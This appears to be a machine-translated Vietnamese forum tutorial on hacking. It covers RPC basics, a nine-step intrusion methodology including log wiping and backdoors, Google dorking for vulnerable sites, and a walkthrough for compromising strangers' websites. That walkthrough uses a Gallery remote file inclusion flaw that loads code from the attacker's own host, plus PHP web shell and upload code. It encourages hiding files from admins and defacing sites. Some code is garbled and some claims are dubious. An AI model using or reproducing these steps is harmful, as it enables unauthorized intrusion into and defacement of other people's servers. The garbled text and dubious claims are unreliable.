The most basic insights to becoming a Hacker - Part 4

Windows NT provides the ability to use RPC to implement distributed applications. Microsoft RPC includes libraries and services that allow distributed applications to work in a Windows NT environment. Major distributed applications include multiple execution processes with certain tasks. These processes can run on one or more computers.

26. Learn about RPC (Remote Procedure Call)

Windows NT provides the ability to use RPC to implement distributed applications. Microsoft RPC includes libraries and services that allow distributed applications to work in a Windows NT environment. Major distributed applications include multiple execution processes with certain tasks. These processes can run on one or more computers.

Microsoft RPC uses the name service provider to locate the Servers on the network. The Microsoft RPC name service provider must be associated with the Microsoft RPC name service interface (NIS). The NIS includes API functions that allow multiple entities to be accessed in the same service name database (the database service name contains entities, groups of entities, history of entities on the Server).
When installing Windows NT, Microsoft Locator is automatically selected as the name service provider. It is the most optimal service name provider on a Windows NT network environment.

27. Simple technique to combat unauthorized intrusion while online through RPC (Remote Procedure Call)

If you suspect that your computer is being hacked or monitored by the remote desktop, you just need to turn off the remote procedure call, currently there is no program that can remote desktop to track you.It also prevents most tools from entering the machine (because most tools write connect based on remote procedure call (over tcp / ip). Most trojans also rely on this protocol.

How to turn off: You go to service / remote procedure call (right click) select starup typt / disable or manual / apply.

This is a very effective way of fighting against a PC, adding a shortcut to file sharing is difficult to hack, but it is troublesome for you on the LAN because you won't be able to run the programs involved. this device.Depending on how you work, you have a reasonable choice.In my opinion, if you use a LAN, install a firewall that is definitely relatively safe.

(Based on the brother's article 'Life as a potato' Khoaimi - admin of HVA)

28. Steps to hack a website today

According to the list of Hacking Exposed 3 books, to hack a normal Web site, we do the following steps:

1. FootPrinting: (Print footprint), this is how hackers do when they want to get the maximum amount of information about the server / business / user.It includes details about IP addresses, Whois, DNS, . roughly the official information related to the target.Sometimes hackers just need to use search tools on the web to find those information.
2. Scanning: (Scanning for exploration), once the information is available, then assess and identify the services that the target has.This includes port scanning, operating system identification, etc. The tools are used here like nmap, WS pingPro, siphon, fscam and many more.
3. Enumeration: (See List of vulnerabilities), the third step is to search for poorly protected resources, to plan user accounts that can be used to invade. It includes default passwords, default scripts and services. Many network administrators do not know or modify these values.
4. Gaining Access: (Find ways to penetrate), now the intruder will try to access the network with the information obtained in the three steps above.The method used here might be to attack the buffer overflow, get and decrypt the password file, or the most crude is brute force (check all cases) password.The tools commonly used in this step are NAT, podium, or L0pht.
5. Escalating Privileges: (privileged escalation), for example in case hackers get into a network with a guest account, they will try to control the entire system.Hackers will find ways to admin admin password crack, or use vulnerabilities to escalate privileges.John and Riper are two very popular password crack programs.
6. Pilfering: (Used when pass files are loophole), again the search engines are used to find ways to access the network.Text files containing passwords or other insecure mechanisms can be good bait for hackers.
7. Covering Tracks: (Clear the trace), after having the necessary information, the hacker tries to remove the trace, delete the log files of the operating system, making the manager not recognize the system has been compromised or has Knowing who the intruder is.
8. Creating "Back Doors": (Creating the back door to make it easier for the next intrusion), the hacker leaves "Back Doors", which is a mechanism that allows hackers to access back by secret path. It takes a lot of effort, by installing a Trojan or creating a new user (for an organization with multiple users). The tools here are Trojan types, keyloggers .
9. Denial of Service (DoS): (If a denial of service attack), if the intrusion fails, DoS is the last means to attack the system. If the system is not properly configured, it will be broken and allow hackers to access. Or in other cases, DoS will make the system no longer work. The good tools used to attack DoS are trin00, Pong Of Death, teardrop, various types of nuker, flooder. This is very beneficial, and is still in common use today.

Depending on your knowledge and level, a hacker will skip any step.It is not necessary to follow the sequence.Remember the sentence 'know who knows me hundred wins'.

(Documents of HVA and hackervn.net)

29. How to find faulty Websites

You probably know specialized websites to search for information online? But you probably did not expect that we could use those sites to find faulty Web sites (I often use google.com and recommend that you use this site because it is very powerful and effective.

You are interested in web page errors and want to find them you just need to go to google.com and type the error after 'allinurl:'. For example, we have the following Web page error code:

cgi-bin / php.cgi? / etc / passwd

You will type: 'allinurl: cgi-bin / php.cgi? / Etc / passwd'

It will list these error-prone Web pages for you, so look down at the bottom of each listing (the green address line) if the line is the same as the keyword you entered then the page. that is or is in error.Whether or not you have hacked into it depends on whether the site has fixed this error or not.

You are interested in forum errors, you want to find this forum form to practice, just enter " powered by" keyword .The following is for finding Snitz 2000:powered forum by Snitz 2000.

However, finding the right forum or website that is faulty in such a way that the probability is not high, please consider the special string in the featured URL for each type of website or forum (this is very important, Please find out more by yourself.For example, if you find a Hosting Controller error, you will have the following feature: "/ admin or / advadmin or / hosting".Let'stype the keyword:

allinurl: / advadmin or allinurl: / admin or allinurl: / hosting

It will list Web pages with URLs like: *http://tentrangweb.com/advadmin* or *http://tentrangweb.com/admin* or *http://tentrangweb.com/hosting.*

For UBB forum, there is a special section: " cgi-bin / ultimatebb.cgi?"

We also look similar to above. As long as you know how to find it, you only need to follow the update on the HVA 'Security Errors' page posted by LeonHart every day, so you will understand their meaning and check it yourself.

30. Techniques to hack Web via error Gallery (a form of php code inject)

Gallery is a tool for creating a photo gallery on the web written in PHP, taking advantage of this loophole we can take advantage of to write in addition a PHP code that allows us to upload, which is our main purpose.

First of all, register for a free host, it is best to register at brinkster.com for ease. Then open notepad and create a PHP file with the following code:

CODE
global $ PHP_SELF;
echo "

```
";
set_magic_quotes_runtime (1);
if ($ act == "shell") {
echo "nnnnnnnnnnnnnnnnnnnnnnnn ";
system ($ shell);
echo "

nnnnnnnnnnnnnnnnnnnnnnnn ";}
echo "";
? >
```

In this code, create 2 files with different names (but the same code) and name it:

1. shellphp.php: This file is used to run the shell on victim host.
2. init.php: This file is used to upload to the page you have created. (Please upload this init.php file early because we will still use it but with other code, you forgot to upload this file as a target).

Create a PHP file with the following code:

```
CODE
function handleupload () {
if (is_uploaded_file ($ _ FILES ['userfile'] ['tmp_name'])) {
$ filename = $ _FILES ['userfile'] ['tmp_name'];
print "$ filename was uploaded successfuly";
$ realname = $ _FILES ['userfile'] ['name'];
print "realname is $ realnamen";
in "?ang t?o t?p tin vào th? m?c ??ng t?i". $ realname;
copy ($ _ FILES ['userfile'] ['tmp_name'], * PATH *. $ realna me); // note * PATH * we will change
it later
} else {
echo "Possible file upload attack: filename". $ _ FILES ['userfile'] ['name']. ".";
}
}
if ($ act == "upload") {
handleupload ();
}
echo "

File:




";
? >
```

Name it upload.php, which will be used to upload to the victim's Web site.

Next, go to Google, type "Powered by gallery" and then Enter, Google will list a bunch of sites using Gallery, please select any one page and use the following link to try to see if it still has Gallery error:

http:/// victim website> /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

If you see a rectangular box at the top, its right is a 'Go' transition box as if you found the object. Now you can type the command through that rectangle to hack the victim's Web.

First, type the command 'pwd' to determine the absolute path to the current directory and then press the 'Go' button, when it gives you a quick note of the link below (I'll use VD The path I found is '/ home / abc / xyz / gallery').

Then you type the command '| s –a |' to list its subdirectories. Now that you look at the results, you will see a bunch of subdirectories that we have listed. Keep in mind that our goal is to find a directory that can be used to upload the upload.php file that we have prepared in advance so please identify with me by looking at the last words of each row. result:

1. Please remove the case where the folder has a '.' or '.' because this is the root directory or virtual directory (It is usually ranked at the top of the result rows).
2. You also remove the last words that have the tail attached (eg config.php, check.inc. Etc) because these are files and not directories.
3. The rest are folders that can be uploaded, but I recommend that you select rows that contain a directory name that contains numbers greater than 1 (You can identify them by looking at the second column from the left), because of that Just make sure this is a directory that is not a virtual directory, but make the admin of that site hard to detect when you install our file. I suppose I found the 'loveyou' folder containing 12 files that can be uploaded, so the official link we uploaded will be: / home / abc / xyz / Gallery / loveyou

Now go to your host account, edit the contents of the init.php file like the code of upload.php file, but edit * PATH * to '/ home / abc / xyz / gallery / loveyou /'.Also prepare an upload.php file on your computer with * PATH * is '' (2 quotation marks).

Now that we can upload the upload.php file to the victim's Web site, enter the following address in your Web browser:

http:/// victim website> /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

You will see a rectangular frame appear next to it and there are 2 command buttons next to it, one is the 'brown' button, the other is the 'upload' button.The 'brown' button you use will lead to the file upload.php address you have prepared on your computer, the 'upload' button when you click it will upload the upload.php file to the victim's Web site.Ok, now it looks like you have completed the hacking process.From now on you use to attack opponents such as database, password (do the same as the previous hack tutorials), but you should only practice but do not delete the database or destroy their Web.If you are a true hacker, you only need to upload the web page with the words: 'Hack by …… .' is enough.

Like the previous times, whether or not you succeed depends on your luck and perseverance to research your knowledge.

(Based on instructions for hacking vnofear - viethacker.net)

GOODLUCK !!!!!!!!!!!

(Out of part 4)
Anhdenday
HVAonline.net